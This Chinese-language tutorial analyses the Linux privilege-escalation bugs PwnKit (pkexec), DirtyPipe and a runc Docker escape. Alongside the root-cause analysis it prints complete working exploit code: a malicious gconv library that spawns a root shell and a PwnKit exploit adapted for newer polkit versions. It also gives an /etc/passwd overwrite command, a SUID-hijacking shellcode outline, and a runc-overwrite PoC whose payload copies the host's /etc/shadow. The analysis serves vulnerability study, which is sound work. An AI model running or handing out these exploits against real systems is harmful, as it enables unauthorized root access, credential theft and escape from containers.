每次提权的时候都是找来个EXP,提不了-->放弃。但是对方的服务器真的没漏洞吗?还是说我们的操作有些不对或者写EXP的作者可能没有更深入的研究导致EXP的适用性出现了些许的问题。为了弄清这些,我们不得不深入的学习一下这些漏洞的原理。
也就是我们俗称的pkexec
CentOS系列:CentOS 6:polkit-0.96-11.el6_10.2CentOS 7:polkit-0.112-26.el7_9.1CentOS 8.0:polkit-0.115-13.el8_5.1CentOS 8.2:polkit-0.115-11.el8_2.2CentOS 8.4:polkit-0.115-11.el8_4.2 Ubuntu系列:Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1
polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令
源码链接:https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c
这里main函数进来以后,先要对运行pkexec的参数进行处理,n=1被初始化赋值
但如果直接运行pkexec,没有加任何参数,这里的n也就一直为1了
C语言中,不传递任何参数,argc为1:
继续来到第610行
此时argv[1]
(不输入参数,则应该只有argv[0])实际上是越界了的,因为没有输入参数,而根据栈的布局,main函数输入的参数argv和envp是挨在一起的,这个稍微有一点二进制调试经验的人都知道
也就是说此时的argv[1]指向的是envp[0] 因此 path 会被赋值为envp[0]
如果上面的话你理解不了,我们来看看这个例子:
T3:模拟漏洞程序,就干一件事,打印自己的argv[1] && envp[0]
xxxxxxxxxx
#include <stdio.h>int main(int argc, char *argv[],char*envp[]){ printf("%s\n",argv[1]); printf("%s\n",envp[0]); }
T4:模拟输入,主要为了给大家展示上面的这句话
也就是说此时的argv[1]指向的是envp[0]
xxxxxxxxxx
#include <unistd.h>int main(int argc, char *argv[],char*envp[]){ char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };//设置的环境变量 execve("./t3", (char*[]){NULL}, env); //int execve(const char *filename, char *const argv[], char *const envp[]);相信看这几个变量名也能明白他们的作用 }
Envp[0]的值:
接着来到632行
xxxxxxxxxx
s = g_find_program_in_path (path)
会通过PATH
环境变量找到该程序的绝对路径并返回
最后触发数组下标越界写的地方在639行
xxxxxxxxxx
argv[n] = path = s;
此时argv[1]被赋值为 一个绝对地址,也就是 envp[0]被赋值为一个绝对地址 通过上面的分析可以发现,如果攻击者执行pkexec时,指定了恶意的envp[0],那么可以写入一个环境变量到目标进程空间中
然后我们需要找到一个可以利用的环境变量,然后有这种方法给他写进去,这种环境变量是可以导致外部引入so并且执行其中的函数,这个变量就是GCONV_PATH
这一节我们探索为何要写入的是这个环境变量
寻找这个触发点是有限制的,往后阅读会发现,这个环境变量并非长存的,在702行就消失了
于是我们需要在639~702
行之间,寻找一个触发点
在源码中引用了很多次g_printerr
函数,用于输出错误信息
该函数是调用GLib的函数。但是如果环境变量CHARSET不是UTF-8,g_printerr()将会调用glibc的函数iconv_open()
,来将消息从UTF-8转换为另一种格式。
iconv_open函数的执行过程为:iconv_open函数首先会找到系统提供的gconv-modules配置文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置,之后会调用.so文件中的gconv()与gonv_init()函数。
因此如果我们改变了系统的GCONV_PATH环境变量,也就能改变gconv-modules配置文件的位置,从而执行一个恶意的so文件实现任意命令执行。
搜索该函数
这个函数会把两种利用方式都显示在我们的眼前
当你构造一个 XAUTHORITY变量,并且内容包含 “..”即可触发g_printerr函数
同理,第二种方法就是构造一个 错误的SHELL变量,就会触发g_printerr函数
先创建一个名为 GCONV_PATH=. 的目录,然后在这个目录中创建一个 GCONV_PATH=./pwnkit 文件,再创建一个目录pwnkit用于存放恶意的so,然后再创建一个文件 pwnkit/gconv-modules其内容为:
module UTF-8// PWNKIT// pwnkit 1
这里有个链接:https://xy2401.com/local-docs/gnu/manual.zh/libc/glibc-iconv-Implementation.html简单讲了module配置文件的写法,简单来说,以上面为例子,意思是从utf-8编码转换成PWNKIT编码,转换所需的资源在pwnkit.so中,消耗cost值为1,这就会让该转换具有更高的优先级
xxxxxxxxxx
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
setuid(0); setgid(0);
seteuid(0); setegid(0);
system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh");
exit(0);
}
编译之
xxxxxxxxxx
gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC
xxxxxxxxxx
char *env[] = { "pwnkit", #触发越界写漏洞,最终使得写入环境变量:GCONV_PATH=./pwnkit
"PATH=GCONV_PATH=.", #使得g_find_program_in_path查找pwnkit时会在GCONV_PATH=.目录中找到pwnkit
"CHARSET=PWNKIT", #触发g_printerr更换编码字符,从而调用so中的恶意代码
"SHELL=pwnkit", #触发调用g_printerr函数
NULL };
有些exp中是没有"SHELL=pwnkit
",取而代之的是"XAUTHORITY=../xxx
",都差不多,都是为了触发调用g_printerr
函数
有些exp中也没有 "CHARSET=PWNKIT
",而是 "LC_MESSAGES=en_US.UTF-8
",作用都类似
设置完这些环境变量后就调用pkexec
execve("./pkexec_105", (char*[]){NULL}, env);
在这一节当中我们将认真分析下网上的一些主流EXP,并从中找到一些问题,给出解决方案。
复现环境为 Ubuntu1604,pkexec版本为0.105,源码参考:https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c
xxxxxxxxxx
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; /bin/sh\");\n"
" exit(0);\n"
"}";int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 1' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("./pkexec_105", (char*[]){NULL}, env);
//int execve(const char *filename, char *const argv[], char *const envp[]);
//
}
运行成功的截图就不放了,大家自行测试就可以,注意各个版本的差异。
这回我们选用0.115版本的pkexec进行漏洞复现
源码参考:https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.115/src/programs/pkexec.c 我们边整一个0.115的版本,可以用centos的docker下载后拖出来,也可以去这里下载rpm包 https://centos.pkgs.org/8-stream/centos-baseos-x86_64/polkit-0.115-12.el8.x86_64.rpm.html
在0.114之后,我们发现,多了一行:
也正是这一句,导致网上能找到的大部分exp在0.114+以后的版本中无法提权成功 目前GitHub上能找到注意到这个问题的exp就只有下面两个 https://github.com/PeterGottesman/pwnkit-exploit https://github.com/dzonerzy/poc-cve-2021-4034/blob/main/exploit.go
为什么有了这一句setenv会导致大部分exp无法利用呢?先说结论:这是因为setenv会导致 env环境发生迁移,使得数组越界写的漏洞无法注入恶意环境变量到envp中了
可以做个小实验:
T1:
xxxxxxxxxx
gcc ./t1.c -o t1
xxxxxxxxxx
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>int main(int argc, char *argv[]) { char *a_argv[]={NULL };
char *a_envp[]={
"env1=1",
"env2=2",
//"env3=123456789",
"env4=",
NULL
};
execve("./t2", a_argv, a_envp);
}
t2
xxxxxxxxxx
gcc ./t2.c -o t2
xxxxxxxxxx
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>extern char**environ;int main(int argc, char *argv[]) {
setenv("env3","local",1);
printf("stack envp:\n");
printf("%p:%s\n", &argv[1], argv[1]);
printf("%p:%s\n", &argv[2] ,argv[2]);
printf("%p:%s\n\n",&argv[3],argv[3]); char** var;
printf("real environ:\n");
for (var =environ;*var !=NULL;++var)
printf("%p:%s\n", var, *var);
}
可以看到,在t1中注入的环境变量env1,env2,env4都显示出来了 但是我们可以发现t2的环境变量地址已经发生改变了 一般来说,argv数组是和envp相邻挨着排布在栈里面的,然而这里可以看到,t2的环境变量地址已经变成了一个的地址,且在t2中设置的环境变量env3已经不出现在栈里面了,环境变量地址environ已经改变了
这就会导致漏洞无法利用,前面已经分析过了,漏洞是一个数组越界写,写的是栈上的envp[0],而此时envp已经不在栈上了,那么这个漏洞也就无法利用了,注入GCONV_PATH就不能做到了
为什么会发生envp的迁移?答案在glibc源码中
https://code.woboq.org/userspace/glibc/stdlib/setenv.c.html#149
在调用setenv时,如果发现要set的env不存在,那么会调用realloc函数,重新开辟一段空间来存储environ指针,且替代旧的指针
而如果 发现要set的env存在,那么直接复制数据过去即可,不再创建堆空间
因此我们要避免setenv函数导致的envp迁移,所以需要在调用setenv之前,把该环境变量给设置一遍回到t1.c中 把注释打开
xxxxxxxxxx
//"env3=123456789",
为什么要取消注释呢?因为我们重新看t2的代码:
xxxxxxxxxx
setenv("env3","local",1);
而t1没能设置对应的env3的值,才导致我们上面分析的那些。现在我们手动设置一下这个值,再来看看。
OK,envp没有发生迁移,这样一来,后面的越界写的漏洞才能继续利用
那么我们应该怎么修复一下exp1呢,很简单,手动设置一下环境变量GIO_USE_VFS
即可
修复如下:
xxxxxxxxxx
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; /bin/sh\");\n"
" exit(0);\n"
"}";int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 1' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT","GIO_USE_VFS=", "SHELL=pwnkit", NULL };
execve("./pkexec_115", (char*[]){NULL}, env);
}
其实就多了一点:"GIO_USE_VFS="
当然,这个学习这个漏洞能帮助我们更好的理解PHP的一个必备技能:Bypass disablefunctions,但是本篇是针对Linux提权的分析文章,关于PHP Bypass disablefunctions留到下面去讲。
其实就是因为无参数但我们的envp[0]就是argv[1]的问题,那修复起来也好办,如果没参数(argc<1),就退出
其中exit(126) or exit(127)分别代表
126
Command invoked cannot execute
Permission problem or command is not an executable
127
"command not found"
illegal_command
Possible problem with $PATHor a typo
PKEXEC完。
2022年的一个漏洞,我们来尝试学习他
近日,研究人员披露了一个Linux内核本地权限提升漏洞,发现在copy_page_to_iter_pipe
和 push_pipe
函数中,新分配的pipe_buffer
结构体成员"flags
"未被正确地初始化,可能包含旧值PIPE_BUF_FLAG_CAN_MERGE
。攻击者可利用此漏洞向由只读文件支持的页面缓存中的页面写入数据,从而提升权限。该漏洞编号为CVE-2022-0847,因漏洞类型和“DirtyCow”(脏牛)类似,亦称为“DirtyPipe”。
该漏洞需要Linux内核版本>5.8,在 Linux 5.16.11、5.15.25 和 5.10.102 中修复。
恕我直言,并不能看的很懂,遂直接贴上代码分析文章
https://zhuanlan.kanxue.com/article-17911.htm
总结一下:
splice 系统调用中未清空 pipe_buffer 的标志位,从而将管道页面可写入的状态保留了下来,这给了我们越权写入只读文件的操作。攻击者利用该漏洞可以覆盖任意只读文件中的数据,这样将普通的权限提升至root权限。
我们主要谈的是这个提权漏洞是怎么利用的。
上面的文章如果原理分析那里像我一样是懵逼的也没关系,我们只需要关注这个漏洞能干什么事就行了
写入任意文件
不过有三个利用条件:
最开始给出的payload,作者是通过这样的方式进行的:(EXP为任意文件写入。参数:
你需要指定待写的文件,从第几个字符开始写(这个要大于1),写入什么内容)
./exp /etc/passwd 5 ":0:0:rootx"
第一次看这个估计会懵逼,这是啥,在干嘛?这就要补充一下Linux中关于/etc/passwd
以及/etc/shadow
的一些小秘密了
在提权的文章中,总有人在说一种提权方式:
写入/etc/passwd来提权 OR 写入/etc/shadow来提权
这个事情就发生在我们的身边,上次CTF的实网攻防的那台Linux,他的提权方式就可以用写入
/etc/passwd
来实现,原因是错误的写权限配置导致的。当然,这不是本文的重点,感兴趣的小伙伴可以自行查阅。
历史上Linux的前身,一些基于Unix的系统,是没有shadow这个文件的,用户密码的哈希就保存在/etc/passwd的第二个字段。但是/etc/passwd是全局可读的文件,用户的哈希可能被其他用户所读取,所以后来衍生出了/etc/shadow文件。
自此之后,/etc/passwd的第二列通常设置为x,表示用户密码保存在/etc/shadow中,而/etc/shadow文件只有root用户可以读取和写入,这样就保护了密码哈希不能被第三方爆破。
/etc/shadow里面保存的信息和/etc/passwd不太一样:这两个文件的第一列和第二列都是用户名和密码,但/etc/shadow的第三列以后主要保存着密码策略,比如密码上次修改的时间、密码过期的时间、密码过期后多久禁用账户等等。
/etc/shadow的第二列也可以是*或!,这代表这个用户是无密码的(也就是不允许通过密码登录)。无密码不等于空密码,如果你想设置一个用户密码是空字符串,那就把第二列留空即可。
那怎么提权呢?很简单,我们还是看这句话:**/etc/passwd的第二列通常设置为x**,**表示用户密码保存在/etc/shadow
那如果我们去掉这个x会发生什么呢?不如做个实验看看
怕把我的Linux搞坏了,就添加个用户吧,看看去掉x会发生什么
miracle:x:1004:1006::/home/miracle:/bin/sh
去掉x
没错!免密码su!
这是恢复x的场景
换句话说,你只要去掉那个root的x就可以实现免密码切换root用户了
所以现在你看懂这个payload了吗?
./exp /etc/passwd 5 ":0:0:rootx"
将第一个冒号后面的x去掉,并在后面用户描述的位置多加一个字符,补齐文件长度。
root:x:0:0:root:/root:/bin/bash
这个也是我们讲的那种方式,利用漏洞低权限情况下将Shellcode写入具有suid标志位,如/usr/bin/su的二进制文件中,然后执行/usr/bin/su,shellcode就是创建一个/tmp/sh,将该文件设置suid位,然后文件具体内容就是提升权限并且返回一个shell。执行完被劫持的具有suid位的二进制文件后,恢复原来的二进制内容,最后再去system运行/tmp/sh后,可直接提权返回一个提权后的shell,此时相当于suid提权的用法
https://haxx.in/files/dirtypipez.c
具体的shellcode不贴了,主要看下shellcode干了什么
xxxxxxxxxx
// small (linux x86_64) ELF file matroshka doll that does;
fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
write(fd, elfcode, elfcode_len)
chmod("/tmp/sh", 04755)
close(fd);
exit(0);
// the dropped ELF simply does:
setuid(0);
setgid(0);
execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
寻找具有SUID的文件
xxxxxxxxxx
find / -perm -u=s -type f 2>/dev/null
指定一下就可以了
但是这个漏洞到此就结束了吗?远远没有,这个漏洞还带来了另外一个令人害怕的利用面:Docker逃逸
我了解这件事还是因为P牛在知识星球中提到了这么一件诡异的事:利用该漏洞修改 Docker 内部文件时,其镜像也会发生改变。这可是件大事,我们细细来谈。
Docker 逃逸,即从容器内部操作了外部的文件即可引发逃逸。此漏洞从内核态对文件进行修改,从 Docker 本身角度而言,由内核态修改的文件并不会被监控而去修改挂载的 fs,所以从而可以达到修改镜像的效果。
从以上发现的问题延伸,从容器内部可以访问到 Docker 外部的文件,并对该文件进行修改,如果该文件会被执行,那就可以逃逸到宿主机。
思考清楚利用链,现在需要做的就是找到这么一个文件。
Docker 运行后,其内部进程与外部进程有着 namespace 的区分,具体来说,Docker 通过外部命令对内部的操作,首先是由外部建立,再通过修改 namespace 来完成的。所以我想到的一个点是,在 namespace 修改完成后,还有没有资源属于宿主机,但是在容器内部可以访问到的。
回忆 Docker 历史漏洞:
以上两个漏洞都是因为外部资源由容器内部可控而引起的。
我们去了解一下这两个漏洞是如何修复的:
●官方修改了docker cp的流程,在 chroot 到容器之前,强制引用so库。
为了更好的理解这个:CVE-2019-5736 我们不妨来看看这个漏洞当时是怎么利用的,它的原理是什么。这将为DirtyPipe的利用打下牢牢的基础。
xxxxxxxxxx
#首先通过docker获取一个镜像
sudo docker pull ubuntu
#将获取到的乌班图镜像启动
sudo docker run -it --name "myubuntu" ubuntu
POC:
https://github.com/Frichetten/CVE-2019-5736-PoC
我们只看关键的payload
xxxxxxxxxx
cat main.go | grep payload
#得到如下:
var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"
如果该poc被成功执行的话,会将宿主机的shadow文件拷贝至/tmp/目录下,并将其权限修改为777
于是我们尝试在容器中执行该POC文件:
然后在宿主机执行 sudo docker exec -it 5a94 /bin/sh 会发现没有交互式的shell打开
在Docker容器中发现POC被执行:
查看宿主机的/tmp目录,发现存在权限777的shadow文件
此时整个漏洞利用成功
runc是docker中最为核心的部分,容器的创建,运行,销毁等操作都是通过runc程序来完成的。我们查看runc文件如下:
此时的runc结尾全部是0
当我们执行docker run
等命令的时候实际上在底层调用的是runc程序,所以整个流程大概如下:
其中虚线表示,当runc生成一个子进程后runc程序将会结束占用。
当触发poc后,runc程序会被重写并执行:
根据官方文档,/proc/
文件夹类似于一个文件系统,其中存放着各个进程与本地文件之间的映射,其中:
/proc/[PID]/exe: 一种特殊的软连接,是该进程自身对应的本地文件
/proc/[PID]/fd/: 这个目录下存放了该进程打开的所有文件描述符
/proc/self/: 不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/
/proc/[PID]/exe的特殊之处在于当权限通过的情况下打开这个文件,内核将会之间返回一个指向该文件的文件描述符,并非按照传统的打开方式做路径分析和文件查找,这就会导致绕过了mnt命名空间和chroot的限制。
mnt 命名空间
类似 chroot,将一个进程放到一个特定的目录执行。mnt 命名空间允许不同命名空间的进程看到的文件结构不同,这样每个命名空间 中的进程所看到的文件目录就被隔离开了。同 chroot 不同,每个命名空间中的容器在 /proc/mounts 的信息只包含所在命名空间的 mount point。
chroot
chroot - change root, 主要是将程序运行环境切换到指定目录。什么是将运行环境切换到指定目录呢,就是切换过去之后,在应用程序内,根目录“/”的位置变成了你指定的目录了,这样一来,就要求你的目录下必须包括程序的所有依赖环境,比如程序调用的系统命令(及其依赖项),系统调用的动态链接库等。
当执行docker exec
命令的时候,runc启动并加入到容器的命名空间中去,其实这个时候,容器内的进程已经能够通过内部的/proc/观察到它,因此通过打开/proc/[runc-PID]/exe可以获取宿主机上的runc文件标识符,由此能够达到覆盖的能力。
xxxxxxxxxx
fmt.Fprintln(fd, "#!/proc/self/exe")
在unix中,凡是被#!
注释的,统统是加载器的路径,常见的有#!/bin/sh
,表示将该注释后的代码交给/bin/sh
处理,我们常见的处理python脚本一般在bash中输入python run.py
,而如果在run.py
中将注释换成#!/path/to/python
,则在bash中执行run.py
即可。
在此poc中,作者将/bin/sh
进行了覆盖,修改成了#!/proc/self/exe
,意义在于当宿主机执行docker exec -it ID /bin/sh
时,/bin/sh
将会替换成执行调用者自己,也就是宿主机下的runc文件,此时将会执行runc文件。
在第一个for循环中,攻击者持续监测/proc/目录,当产生runc进程时,以可读的方式打开runc文件夹获取文件标识符。
xxxxxxxxxx
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
在第二个for循环中,攻击者持续监听等待runc程序结束占用后就能够用之前循环获得的文件标识符以可写的方式向runc文件内写入payload。
xxxxxxxxxx
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is" + payload)
writeHandle.Write([]byte(payload))
return
}
}
对于 CVE-2019-5736 的修复,在这里详细地去介绍一下,因为这是 DirtyPipe 引发 Docker 逃逸的关键。
搜索runc的git commit记录 (https://github.com/opencontainers/runc/commit/6635b4f0c6af3810594d2770f662f34ddc15b40d)。
添加了ensure_cloned_binary的判断,从字面意思看是确保是复制的二进制文件,跟进这个函数。
从字面意思看,会判断是否为自身的复制,如果不是,则对自身进行复制,然后运行复制文件,关闭当前文件,跟进看怎样进行的复制。
调用了memfd_create
函数,该函数意思为在内存中创建一个匿名文件,也就是说runC将自身复制为一个匿名文件,然后在容器中运行,从而保证了容器内部无法获取runC文件本身。
那此处的runC已经被修改为匿名文件了,还有没有什么方式去获取真正的runC呢?
看到利用以及修复,这时候很多师傅应该已经可以想到,使用runC去执行/proc/self/exe时,其符号链接指向的就是runC本身。
然而,由于 Linux Namespace 机制,即使指向runC
本身,内部的修改也可以看作一次copy,并不会对外部文件产生影响。但是,DirtyPipe突破了这层壁垒。
DirtyPipe 这个洞的利用过程与 Linux 管道和 splice(2) 系统调用的实现机制有关,其对文件的操作由内核来操作,对于runC漏洞的修复,由于容器内部namespace的转换,文件的符号链接即使指向外部,也无法对外部的文件产生影响,而从内核层的操作便跨越了namespace对文件的影响,从而可以对外部的runC进行覆盖。
分析完利用链,接下来去看如何去利用。
我们需要去做的是知道DirtyPipe这个洞的利用条件以及能做什么。
漏洞发现者在自己发表的文章(https://dirtypipe.cm4all.com/) 中讲述得很清晰。
该漏洞是作用于缓存机制上的,所以缓存刷新即设备重启后被覆盖的文件会恢复。
该漏洞只能覆盖一个可读文件。
该漏洞不能跨页覆盖,作者原 POC 给出的 Page-Size 为 4096 字节。
该漏洞不能在页头或者页尾开始覆盖,即无法覆盖第一个字符。
刚好,我们现在得到了一个符号链接指向外部的runC,由于 magic links 的特殊性(会直接调用专属的处理函数并返回对应文件的文件描述符),通过 DirtyPipe 跨越 namespace 的限制覆盖此符号链接,就可以对宿主机的runC进行覆盖了。相对于CVE-2019-5736的利用,DirtyPipe 的覆盖比较麻烦,因为无法覆盖第一个字符,所以需要去寻找函数地址,通过写 shellcode 的方式进行利用。不过这相对来说就比较轻松了。
附件中给出的poc其实就是在完成这件事:
循环获取runc的进程,获取runc入口点偏移,利用dirtypipe写入runc 入口点shellcode